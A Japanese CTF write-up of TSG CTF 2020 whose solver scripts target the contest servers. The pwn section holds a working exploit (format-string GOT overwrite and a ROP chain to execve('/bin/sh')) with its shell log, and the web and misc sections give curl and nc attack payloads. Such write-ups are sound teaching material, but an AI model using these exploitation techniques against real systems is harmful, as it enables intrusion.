難しいけど面白かった。「はいはい、いつものあれね」で解ける問題が1問も無い。
8問(surveyなどを除いて実質6問)解いて、1092点15位。
Cooldown
Survey (survey)
アンケートに答えると1点。
回答必須の質問はありません。フラグだけ欲しい場合はそのまま送信してください。
* 1チームから複数回送信しても全く構いません。
とりあえず点数だけゲットして、後からちゃんと回答することもできるようになっていた。
Warmup
Sanity Check (sanity)
TSG CTF のDiscordサーバーにログインして↓の場所に書いてあるフラグを送信してください。
TSGCTF{the_blue_bird_is_in_your_cage_so_stay_home_and_dont_miss_it!}
Pwn
Beginner's Pwn (beginner)
int main()
{
char buf[0x18];
readn(buf, 0x18);
scanf(buf);
}
これだけ。beginnerなので問題文にヒントもある。
シェルをとる方法: もしあなたがほとんどpwnの手法を知らないならば、 次の単語をインターネットで調べることは、良いとっかかりになると思います。
- Format String Bug
- GOT (Global Offset Table) Overwrite
- Buffer Overflow
- Return Oriented Programming
- sigreturn syscall
- etc.
pwntoolsのスクリプトのテンプレートもある。転載。
# I'm sorry I am using Python2 :( for pwning
from __future__ import division, print_function
import random
# Run: pip install pwntools
from pwn import *
import argparse
import time
# A way to start the program server locally, and debug your exploit on Linux.
# 1. Install socat
# 2. socat TCP-L:3001,reuseaddr,fork EXEC:./beginners_pwn
# 3. python solver.py
# 4. sudo gdb -q -p `pgrep beginners_pwn`
host = "localhost"
port = 3001
r = remote(host, port)
print('Enter `newline` to start the exploit')
raw_input()
#### write your exploit here. ####
r.sendline('AAAA') # dummy: send `AAAA' to the server
# r.interactive() # After you get shell, you can intereact with the server!
Python2仲間がいたw とても丁寧で素晴らしいが……「ここまでお膳立てされているなら解けるかも!」で挑戦した初心者は解けたのだろうか……w
まずは、制御を取りたい。scanf
の後に呼ばれる関数は(スタックが壊れたときの)__stack_chk_fail
だけ。GOTを書き換えるにしても、スタックは壊す必要がある。scanf
の第2引数にあたるrsi
がたまたまbuf
の最後に読み込んだところを指しているので、%1$s
を最初に入力すれば、スタックを壊せる。空白以外はNUL文字でも何でも書き込める。
このままだとスタックのチェックで落ちてしまうので、GOTの__stack_chk_fail
をret
に飛ばして何もしない関数にする。buf
の最初の位置がscanf
の第7引数にあたるので、buf
の0x10バイト目にGOTのアドレスを書いて、%8$lx
で値を書き込むとGOTに書き込まれる。
これで、通常のスタックバッファオーバーフローと同じ事ができるようになった。
この問題はlibcが提供されていない。TSG CTFでlibcを推測させるようなつまらないことはしないだろうし、そもそも出力系の関数が無いのでlibcのアドレスを得る手段が無い。さてどうしようか……とヒントを見ると「syscall」がある。この問題はreadn
の中でsyscall
を使っている。レジスタを適切に設定してexecve("/bin/sh", NULL, NULL)
を呼べば良い。
rdi
とrsi
はReturn Oriented Programmingで設定できる。rdx
は0だったので何もしなくて良い。rax
をexecve
のシステムコール番号である59にしないといけない。pop rax; ret;
は無い。scanf
の返り値が代入に成功した変数の個数であることを使う。scan("%d %d %d")
に"0 0 0"
が入力されると3が返ってくる。59を返すような長い文字列は最初のreadn
では入力できないので、改めてreadn
を呼ぶ。
流れ。
- 問題のコード中の
scanf
で、__stack_chk_fail
を潰しつつ、スタックオーバーフローでROPに入る -
readn
を呼んで"%1$d"*59
を書き込む。ついでに文字列"/bin/sh"
も書き込んでおく -
"0 0 0 ..."
を書き込む -
rax
が59になるので、他のレジスタの値をROPで設定して、execve("/bin/sh", NULL, NULL)
を呼ぶ
from pwn import *
#context.log_level = "debug"
elf = ELF("beginners_pwn")
context.binary = elf
#s = connect("localhost", 7777)
s = connect("35.221.81.216", 30002)
t1 = "%1$s %8$lx\0 "+pack(elf.got.__stack_chk_fail)
s.send(t1)
t2 = " ".join(["%1$d"]*59) + "\0/bin/sh"
s.sendline(
"\0"*(0x18-len(t1)+0x11) +
pack(0x4012c3) + # pop rdi;
pack(0x404028) + # buf
pack(0x4012c1) + # pop rsi; pop r15;
pack(len(t2)) +
pack(0) +
pack(elf.symbols.readn) +
pack(0x4012c3) + # pop rdi;
pack(0x404028) + # buf
pack(0x4012c1) + # pop rsi; pop r15;
pack(0x404028+len(t2)) +
pack(0) +
pack(elf.plt.__isoc99_scanf) +
pack(0x4012c3) + # pop rdi;
pack(0x404028+len(t2)-7) + # /bin/sh
pack(0x4012c1) + # pop rsi; pop r15;
pack(0) +
pack(0) +
pack(0x40118f) + # syscall
" 401256")
input()
s.send(t2)
s.sendline(" ".join(["0"]*59))
s.interactive()
scanfの仕様に苦しんだ。フォーマット文字列中に%
でも空白でもない文字列があると、同じ文字列を入力しないといけなくなって面倒なので、\0
で打ち切った。scanf
が後ろの文字列まで読み込んでしまうので、ウエイトを入れたら通った。starts.shのstdbuf -i0 -o0 -e0 ./beginners_pwn
でバッファリングしないようになるんじゃないのか?
$ python2 attack.py
[*] "/mnt/d/documents/ctf/tsg2020/Beginner's Pwn/beginners_pwn"
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 35.221.81.216 on port 30002: Done
123
[*] Switching to interactive mode
$ id
uid=999(user) gid=999(user) groups=999(user)
$ ls -al
total 36
drwxr-xr-x 1 root user 4096 Jul 8 18:03 .
drwxr-xr-x 1 root root 4096 Jul 8 18:03 ..
-r-xr-xr-x 1 root user 16560 Jul 8 06:40 beginners_pwn
-r--r--r-- 1 root user 44 Jul 8 06:40 flag
-r-xr-xr-x 1 root user 60 Jul 8 06:40 start.sh
$ cat flag
TSGCTF{w3lc0m3_70_756c7f2_60_4h34d_pwnpwn~}
$ exit
[*] Got EOF while reading in interactive
TSGCTF{w3lc0m3_70_756c7f2_60_4h34d_pwnpwn~}
Web
Beginner's Web (beginner)
Beginner問題なのに解けず。
nodeでクエリ文字列をパースするのに定番のライブラリっぽいけど、foo[bar]=baz
のような記法でオブジェクトを与えることができるらしい。えぇ……。みんなPHPで懲りたと思っていた。
追記
面白いし、この問題で他の参加者の妨害ができないようになっているのがすごい。
追記。
妨害できたらしい。__defineSetter__
は16文字
> この問題で他の参加者の妨害ができないようになっているのがすごい。
— 左京区在住 (@tyage) July 13, 2020
なんか解けないな~と思ってたら defineSetter が上書きされてしまって解けなくなってたタイミングがありました...(修正されましたが
問題のソースコードを抜粋。
:
const converters = {};
const flagConverter = (input, callback) => {
const flag = '*** CENSORED ***';
callback(null, flag);
};
:
app.post('/', async (request, reply) => {
if (request.body.converter.match(/[FLAG]/)) {
throw new Error("Don't be evil :)");
}
if (request.body.input.length < 10) {
throw new Error('Too short :(');
}
if (request.body.input.length > 1000) {
throw new Error('Too long :(');
}
converters['base64'] = base64Converter;
converters['scrypt'] = scryptConverter;
converters[`FLAG_${request.session.sessionId}`] = flagConverter;
const result = await new Promise((resolve, reject) => {
converters[request.body.converter](request.body.input, (error, result) => {
if (error) {
reject(error);
} else {
resolve(result);
}
});
});
reply.view('index.html', {
input: request.body.input,
result,
sessionId: request.session.sessionId,
});
});
app.setErrorHandler((error, request, reply) => {
reply.view('index.html', {error, sessionId: request.session.sessionId});
});
まずこういうリクエストを投げる。
curl 'http://35.221.81.216:59101/' \
-H 'Cookie: sessionId=BNCr_p0sZ0ya-D3P91y6a2lMpwjF_4fW.5qtLyHRuX0V1ZFjDY3gWz5sA%2BjUKvtbmhzXaJK3Vdy8' \
--data-raw 'input=FLAG_BNCr_p0sZ0ya-D3P91y6a2lMpwjF_4fW&converter=__defineSetter__'
このリクエストに対して、サーバーはなかなか応答を返さず、数秒で504 Gateway Time-outが返ってくる。その前に、次のリクエストを投げる。
curl 'http://35.221.81.216:59101/' \
-H 'Cookie: sessionId=BNCr_p0sZ0ya-D3P91y6a2lMpwjF_4fW.5qtLyHRuX0V1ZFjDY3gWz5sA%2BjUKvtbmhzXaJK3Vdy8' \
--data-raw 'input=FLAG_BNCr_p0sZ0ya-D3P91y6a2lMpwjF_4fW&converter=0123456789'
すると、最初のリクエストに対して、フラグを含む応答が返ってくる。
:
<h1>OmniConverter</h1>
<h2>ERROR: (input, callback) => {
const flag = 'TSGCTF{Goo00o0o000o000ood_job!_you_are_rEADy_7o_do_m0re_Web}';
callback(null, flag);
}</h2>
:
何が起こっているのかというと、最初のリクエストの
converters[request.body.converter](request.body.input, (error, result) => {
の部分が、
converters.__defineSetter__('FLAG_BNCr_p0sZ0ya-D3P91y6a2lMpwjF_4fW', (error, result) => {
となっている。この処理はPromise
の中なので、reject
かresolve
を呼び出すまでは呼び出し元に結果が返らない。
__defineSetter__
によって、converters['FLAG_BNCr_p0sZ0ya-D3P91y6a2lMpwjF_4fW']
に値を代入しようとすると、代入しようとした値を引数に(error, result) => {...
の関数が呼び出される。(flagConverter, undefined)
という形になるので、reject(flagConverter)
が呼び出され、flagConverter
がエラーとして表示される。flagConverter
を呼び出すのではなく、flagConverter
そのものを出力させれば良いというのがポイントか。
'FLAG_...'は良いけど、'base64'を引数にされたら、妨害ができちゃうのでは?
そのためのこれ。
if (request.body.input.length < 10) {
throw new Error('Too short :(');
}
match(/[FLAG]/)はmatch(/FLAG/)なのでは?
コンテスト中に気が付いて引っかかっていた。これだと、F
1文字とかでも弾かれる。解放を知ってみると、__defineGetter__
を防ぎたかったのでは?という気がしてくるけれど、これで何か他の参加者の妨害ができるわけではなく、単なるヒント?
追記。
元々はやっぱり__defineGetter__
対策だったらしい。
ヴォー なんか色々混乱させてすみません 最終的に[FLAG]フィルターを入れたままにしたのはヒントのためですね 当初はdefineGetterで既存のbase64とかの関数を書き換えられると困っちゃうので入れてたんですが→
— 博多市 (@hakatashi) July 13, 2020
defineSetterでも同じように書き換えられちゃうことがわかったのでそっちは長さで対策することになったんですね なので悪い人対策的には最終的には意味のないフィルタでした。ちなみに悪い人対策の話でいうと→
— 博多市 (@hakatashi) July 13, 2020
TSGCTF{Goo00o0o000o000ood_job!_you_are_rEADy_7o_do_m0re_Web}
Crypto
Beginner's Crypto (beginner)
assert(len(open('flag.txt', 'rb').read()) <= 50)
assert(str(int.from_bytes(open('flag.txt', 'rb').read(), byteorder='big') << 10000).endswith('1002773875431658367671665822006771085816631054109509173556585546508965236428620487083647585179992085437922318783218149808537210712780660412301729655917441546549321914516504576'))
$2^{10000}f = x \mod 10^{175}$ として、$x$から$f$を求めよという問題である。法を$10^{175}$としたときの$2^{10000}$の逆数……は両者が互いに素ではないので、互いに素になるようにして逆数を求めて$x$に掛けたら通った。解けたけどこの辺あまり良く分かっていない(ので、次のSweet like Apple Pieが解けない)。
from Crypto.Util.number import *
from math import gcd
x = 1002773875431658367671665822006771085816631054109509173556585546508965236428620487083647585179992085437922318783218149808537210712780660412301729655917441546549321914516504576
g = gcd(2**10000, 10**175)
f = x*inverse(2**10000, 10**175//g)%(10**175//g)
print(f.to_bytes(50, "big"))
$ python3 solve.py
b'TSGCTF{0K4y_Y0U_are_r3aDy_t0_Go_aNd_dO_M0r3_CryPt}'
TSGCTF{0K4y_Y0U_are_r3aDy_t0_Go_aNd_dO_M0r3_CryPt}
Sweet like Apple Pie (medium)
解けなかった。
「正弦曲線暗号」を発明しました!
from decimal import *
getcontext().prec = 300
def pi():
lasts, t, s, n, na, d, da = 0, Decimal(3), 3, 1, 0, 0, 24
while s != lasts:
lasts = s
n, na = n + na, na + 8
d, da = d + da, da + 32
t = (t * n) / d
s += t
return s
def sin(x):
x = Decimal(x) % pi()
p, factor = 0, x
for n in range(10000):
p += factor
factor *= - (x ** 2) / ((2 * n + 2) * (2 * n + 3))
return p
flag = int.from_bytes(open('flag.txt', 'rb').read(), byteorder='big')
assert(flag < 2 ** 500)
print(sin(flag))
pi
とsin
の中身は理解できないが、十進浮動小数点でsinを計算しているのだろう。sin
関数中のx
を求めるのは簡単で、二分探索をすれば良い。$\frac{\pi}{2}$を境に2個ある。
x
からflag
を求める方法が分からなかった。Beginner's Cryptoと同じようにやってもx
の40倍の値になるflag
しか出てこないし、ここから40で割れない。
追記
解けた。第一象限のときのxの値が0.163...で、第2象限のときが2.978...。1の位の有無でDecimal
の小数点以下の桁数が異なる。Decimal
を整数にするのに文字列処理でやっていて、ここを変えるのを忘れていた。10**300
を掛けてそのままint
に直せば良かった。
from decimal import *
getcontext().prec = 300
def pi():
lasts, t, s, n, na, d, da = 0, Decimal(3), 3, 1, 0, 0, 24
while s != lasts:
lasts = s
n, na = n + na, na + 8
d, da = d + da, da + 32
t = (t * n) / d
s += t
return s
def sin(x):
x = Decimal(x) % pi()
p, factor = 0, x
for n in range(10000):
p += factor
factor *= - (x ** 2) / ((2 * n + 2) * (2 * n + 3))
return p
#flag = int.from_bytes(open('flag.txt', 'rb').read(), byteorder='big')
#assert(flag < 2 ** 500)
#print(sin(flag))
sinflag = Decimal("0.162452474092990408037062573408259688253995107643493293584426591003988903469791005222132158897198623144937279539555347413553688190959907095952250683633029959235933436782707275021817801890433801800730214807785288112267446678747104887584191096749196212784470161670299495426679759221652356130008110761143")
#l = Decimal(0)
#r = pi()/2
l = pi()/2
r = pi()
for i in range(1000):
m = (l+r)/2
#if sin(m)<=sinflag:
if sin(m)>=sinflag:
l = m
else:
r = m
x = l
print("x:", x)
print("sin(x):", sin(x))
D = 10**300
p = int(pi()*D)
x = int(x*D)
from Crypto.Util.number import *
from math import *
p //= gcd(D, p)
flag = x*inverse(D, p)%p
print(flag.to_bytes(150, "big"))
kusano@RIO:/mnt/d/documents/ctf/tsg2020/Sweet like Apple Pie$ python3 solve.py
x: 2.97841701598705227397192132101244149450108126021687522007589762363562589954271370389104405048887540690913131251130016092013093435581286246167075241635193432571154899398912458239642861514744055666719157499411266325402180329094399542951766241993522703999557630833375902518477564717050262384960203067400
sin(x): 0.162452474092990408037062573408259688253995107643493293584426591003988903469791005222132158897198623144937279539555347413553688190959907095952250683633029959235933436782707275021817801890433801800730214807785288112267446678747104887584191096749196212784470161670299495426679759221652356130008110761143
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00TSGCTF{Tteugeopgo_Dara_Sweee-ee-ee-ee-eet_1ik3_4pple_Pie_Pie}'
TSGCTF{Tteugeopgo_Dara_Sweee-ee-ee-ee-eet_1ik3_4pple_Pie_Pie}
Rubikrypto (easy)
解いていないけど、面白そう。
ルービックキューブはみんなの大好きな数学ですよ⋯⋯マジで!
ルービックキューブは数学で言うところ群か何かになるから、そこでElGamal暗号を実装しているらしい。
深夜に問題公開の通知が出てきて、「RubyCrypto」に見えてしまい、「Rubyは分からないからいいや」と思ってしまったんだよな……。
Reverse-ing
Reverse-ing (easy)
「ReverseもGhidraのおかげで楽になったよなぁ」と思いながら開いたら、コードを動的に書き換えてたわ。
これがほんとの「Reversing」。
1命令実行するたびにコードをリバースしている。gdbでreverse
関数の最後にブレークポイントを設定して、どういう命令が実行されているのかを見てみると、このようなことをしている。
=> 0x6000ef <_start+10>: xor rdx,rdx
=> 0x6000f4 <_start+15>: mov dl,0x25
=> 0x6000f8 <_start+19>: mov rsi,rsp
=> 0x6000fd <_start+24>: xor rdi,rdi
=> 0x600102 <_start+29>: xor rax,rax
=> 0x600107 <_start+34>: syscall
=> 0x60010b <_start+38>: dec rdx
=> 0x600110 <_start+43>: xor rcx,rcx
=> 0x600115 <_start+48>: mov cl,BYTE PTR [rsi+rdx*1]
=> 0x60011a <_start+53>: xor cl,BYTE PTR [rdx+0x600194]
=> 0x600122 <_start+61>: add cl,BYTE PTR [rdx+0x600194]
=> 0x60012a <_start+69>: or rdi,rcx
=> 0x60012f <_start+74>: dec dl
=> 0x600133 <_start+78>: jns 0x600171 <_start+140>
=> 0x600171 <_start+140>: mov cl,BYTE PTR [rsi+rdx*1]
=> 0x600176 <_start+145>: xor cl,BYTE PTR [rdx+0x600194]
=> 0x60017e <_start+153>: add cl,BYTE PTR [rdx+0x600194]
=> 0x600186 <_start+161>: or rdi,rcx
=> 0x60018b <_start+166>: sub dl,0x1
=> 0x600190 <_start+171>: jns 0x600115 <_start+48>
:
X1 = [
0x48, 0x80, 0x46, 0xba, 0xa5, 0xd3, 0xff, 0xc0, 0x31, 0x48, 0x1e, 0x65, 0x32, 0xa4, 0x88, 0xd3,
0xff, 0xe6, 0x89, 0x48, 0x5f, 0x7a, 0x84, 0x3b, 0xd3, 0xff, 0xd2, 0x31, 0x48, 0x4e, 0x36, 0xc9,
0xc5, 0xcf, 0x22, 0x32, 0x58,
]
X2 = [
0xe4, 0xd3, 0xff, 0x05, 0x0f, 0x6b, 0x7c, 0x13, 0xff, 0xca, 0xd3, 0xff, 0xff, 0x31, 0x48, 0x72,
0x63, 0x2b, 0x19, 0x8c, 0xd3, 0xff, 0x25, 0xb2, 0x19, 0x5e, 0x61, 0xfb, 0xc1, 0xd3, 0xff, 0x00,
0x60, 0x00, 0xb0, 0xbb, 0xdb,
]
flag = ""
for i in range(0x25):
if i%2==0:
f = (-X2[i]^X1[i])%0x100
else:
f = (-X1[i]^X2[i])%0x100
flag += chr(f)
print(flag)
参照しているテーブルもリバースされて書き換わることに注意。
>py solve.py
TSGCTF{S0r3d3m0_b1n4ry_w4_M4wa77e1ru}
TSGCTF{S0r3d3m0_b1n4ry_w4_M4wa77e1ru}
Misc
Beginner's Misc (beginner)
from base64 import b64encode
import math
exploit = input('? ')
if eval(b64encode(exploit.encode('UTF-8'))) == math.pi:
print(open('flag.txt').read())
Base64は/
と+
が使えるので、3141592.../1000000
みたいなのをbase64でデコードして投げたら終わりかと思ったら、exploit.encode
で落ちた。UTF-8として正しい文字列でないといけない。
長さが4文字で数字と/
と+
で構成される文字列のうち、Base64で復号したときにUTF-8として正しいものを探すと、562/
や179+
のように末尾に/
と+
が付くものや、1400
のように数字だけものがある。これを組み合わせて円周率を作れば良い。8文字でUTF-8として正しく、前半4文字や後半4文字は正しくないというようなものもあるだろうけど、4文字の組合わせだけで作れた。
from itertools import product
from base64 import b64decode
import math
import re
import random
Pd = []
Pp = []
Pn = []
for p in product("0123456789/+", repeat=4):
p = "".join(p)
try:
b64decode(p).decode("utf-8")
except:
continue
if p[0]!="0":
if re.match(r"^\d\d\d\/$", p):
Pd += [p]
if re.match(r"^\d\d\d\+$", p):
Pp += [p]
if re.match(r"^\d\d\d\d$", p):
Pn += [p]
random.seed(12345)
s = 0.0
ans = ""
m = 0
while s<math.pi:
x = []
for pd in Pd:
for pp in Pp:
for pn in range(100):
vn = int(pd[:3])
vd = int("".join(random.choice(Pn) for _ in range(m))+pp[:3])
if s+vn/vd<=math.pi:
x += [(vn/vd, vn, vd)]
if len(x)==0:
m += 1
continue
mx = max(x)
while s+mx[0]<=math.pi:
s += mx[0]
ans += "%d/%d+"%(mx[1], mx[2])
print(s)
print(ans)
$ python3 solve.py
3.1396648044692737
562/179+
3.141327376599765
562/179+776/1400240+776/1400240+776/1400240+
3.1415926529804143
562/179+776/1400240+776/1400240+776/1400240+476/1794355+
3.141592653584518
562/179+776/1400240+776/1400240+776/1400240+476/1794355+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+
3.141592653589793
562/179+776/1400240+776/1400240+776/1400240+476/1794355+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+762/144444602456149+
$ echo -n "562/179+776/1400240+776/1400240+776/1400240+476/1794355+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+776/140015191441371+762/144444602456149+762/144414441444144414441444144414441444Cg==" | base64 -d | nc 35.221.81.216 3
0718
? TSGCTF{Y0u_t00k_the_first_step_0f_the_misc_w0rld!_G0_and_s0lve_all_the_remaining_challenges}
末尾が+
はダメなので、後ろに0になるような分母が大きな数を適当に追加。末尾のCg==
は改行をbase64エンコードしたもの。
TSGCTF{Y0u_t00k_the_first_step_0f_the_misc_w0rld!_G0_and_s0lve_all_the_remaining_challenges}
BlindCoder (medium)
競プロのサーバーを作りました!
独自の言語で実装された競プロサーバー。独自の言語とはいえ、普通の言語の式(≠文)が素直に書ける。テストケースが50個あって、何ケース正解したかが返ってくる。
ちなみに(競プロとしての)問題は、
The current challenge is, to write a program that calculates the least significant digit of the input number N (0 <= N < 2^32) in the decimal form.
That is, if your program is given the number 334, it must return 4, because the right-most digit of 334 is 4.
This task is quite difficult... but I believe you'll for sure get it!
Your program runs for 50 test cases. To be qualified as "Accepted", all test cases should be passed.
N%10
で解けるが……競プロの問題を解いても意味はなく、テストケースを当てる必要がある。ちなみに、テストケースは接続ごとに自動生成。
N%1000==123 ? N%10 : 99
とすると、下3桁が123のテストケースが何個あるかが分かる。これで1桁ずつ推測できる。正解数が何個かを教えてくれるだけで、どのケースが正解かは教えてくれない(コンテスト中のAtCoderと同じ)。そこは、すでに分かっているテストケースのうち何個が正解になるかを調べて、それよりも多いかどうかで他にテストケースがあるかが判別できる。
これで解けるかと思ったら、接続を切られた。問題のソースコードを見ると、1回の接続で1,000回しかサブミットできない。
ちょっと考えてみると、1桁ずつ推測していくと正解する確率は$\frac{1}{10}$。$\frac{1}{10}$で正解する場合に得られる情報量の期待値は、$\frac{1}{10}\frac{9}{10}+\frac{9}{10}\frac{1}{10}=0.18$で効率が悪い。二分探索をする。2進数で1桁ずつ推測すると考えても良い。さらに、テストケース1個ずつではなく、まとめて、テストケースがあれば潜っていく感じにすると、下位ビットが同じテストケースの探索がまとめてできて効率が良い。が、これでも50個中40個くらいで、1,000回を使い切ってしまう。
乱数の推測かな?と思ってPythonのソースコードを見てみたところ、シード値無しで初期化した場合にはメルセンヌツイスタの内部状態全てをurandomから持ってきていた。シード値が32ビット整数1個とかなら推測もできるが、これは厳しい。
ちゃんと考えてみると、この問題のテストケース全ての情報量は、$\lg\left(\frac{2^{32\times 50}}{50!}\right)=1385.79...$である。$50!$で割っているのはテストケースの順番は関係無いから。ということで、1回のサブミットで1ビットの情報しか得られないので足りない。
正解したテストケースの個数の情報も使う。123<=N && N<321 || 456<=N && N<654 ? N%10 : 99
というコードを投げて、正解数が0ならばどちらの条件も満たされない、正解数が2ならばどちらの条件も満たす。正解数が1ならばしょうがないので、123<=N && N<321 ? N%10 : 99
を改めて投げて、どちらの条件が満たされていて、どちらが満たされていないのかを調べる。これで、2個の条件が平均1.5回のサブミットで判定できる。
from pwn import *
import re
#context.log_level = "debug"
s = connect("35.221.81.216", 65532)
# return number of testcases in ranges
c = 0
def check(ranges):
global c
c += 1
code = " || ".join("%d<=N && N<%d"%r for r in ranges) + " ? N%10 : 99"
s.sendlineafter("Choice: ", "1")
s.sendlineafter("here: ", code)
t = s.recvuntil("3. Help")
m = re.search(r"passed (\d+) test cases.", t)
return int(m.group(1))
C = []
def f(l, r, n):
global C
if n==0:
return
if n==1:
C += [(l, r)]
return
m = (l+r)/2
nl = check([(l, m)])
nr = n - nl
f(l, m, nl)
f(m, r, nr)
f(0, 2**32, 50)
print c
print [r-l for l, r in C]
while True:
C.sort(key=lambda x: x[1]-x[0])
if C[-1][1]-C[-1][0]==1:
break
if c>=997:
break
l1, r1 = C.pop()
l2, r2 = C.pop()
m1 = (l1+r1)/2
m2 = (l2+r2)/2
r = check([(l1, m1), (l2, m2)])
if r==0:
C += [(m1, r1), (m2, r2)]
elif r==1:
if check([(l1, m1)])==1:
C += [(l1, m1), (m2, r2)]
else:
C += [(m1, r1), (l2, m2)]
else:
C += [(l1, m1), (l2, m2)]
print c
print [r-l for l, r in C]
s.sendlineafter("Choice: ", "2")
s.sendlineafter("what: ", " ".join(str(l) for l, r in C))
print s.recvline()
print s.recvline()
最初にまとめて二分探索でテストケースが1個しか含まれない範囲を探す。それぞれの範囲は独立して探索できるので、上述の方法で2個ずつ探索。
けっこうギリギリで、上述の2個ずつの探索でたまたま1回ですむ回数が多かったり、探索しきれなくてえいやで投げたテストケースが正解だったりすると解ける。10回に1回くらい。2個ずつではなくもっとまとめれば効率は上がるのだろうけど、解けたからよし。
:
$ python2 attack.py
[+] Opening connection to 35.221.81.216 on port 65532: Done
75
[33554432, 33554432, 268435456, 4194304, 4194304, 33554432, 67108864, 67108864, 4194304, 4194304, 67108864, 33554432, 33554432, 33554432, 33554432, 268435456, 8388608, 4194304, 4194304, 67108864, 67108864, 268435456, 134217728, 67108864, 67108864, 67108864, 4194304, 4194304, 134217728, 8388608, 8388608, 4194304, 4194304, 33554432, 67108864, 67108864, 8388608, 8388608, 67108864, 134217728, 67108864, 67108864, 134217728, 67108864, 33554432, 33554432, 134217728, 134217728, 33554432, 33554432]
998
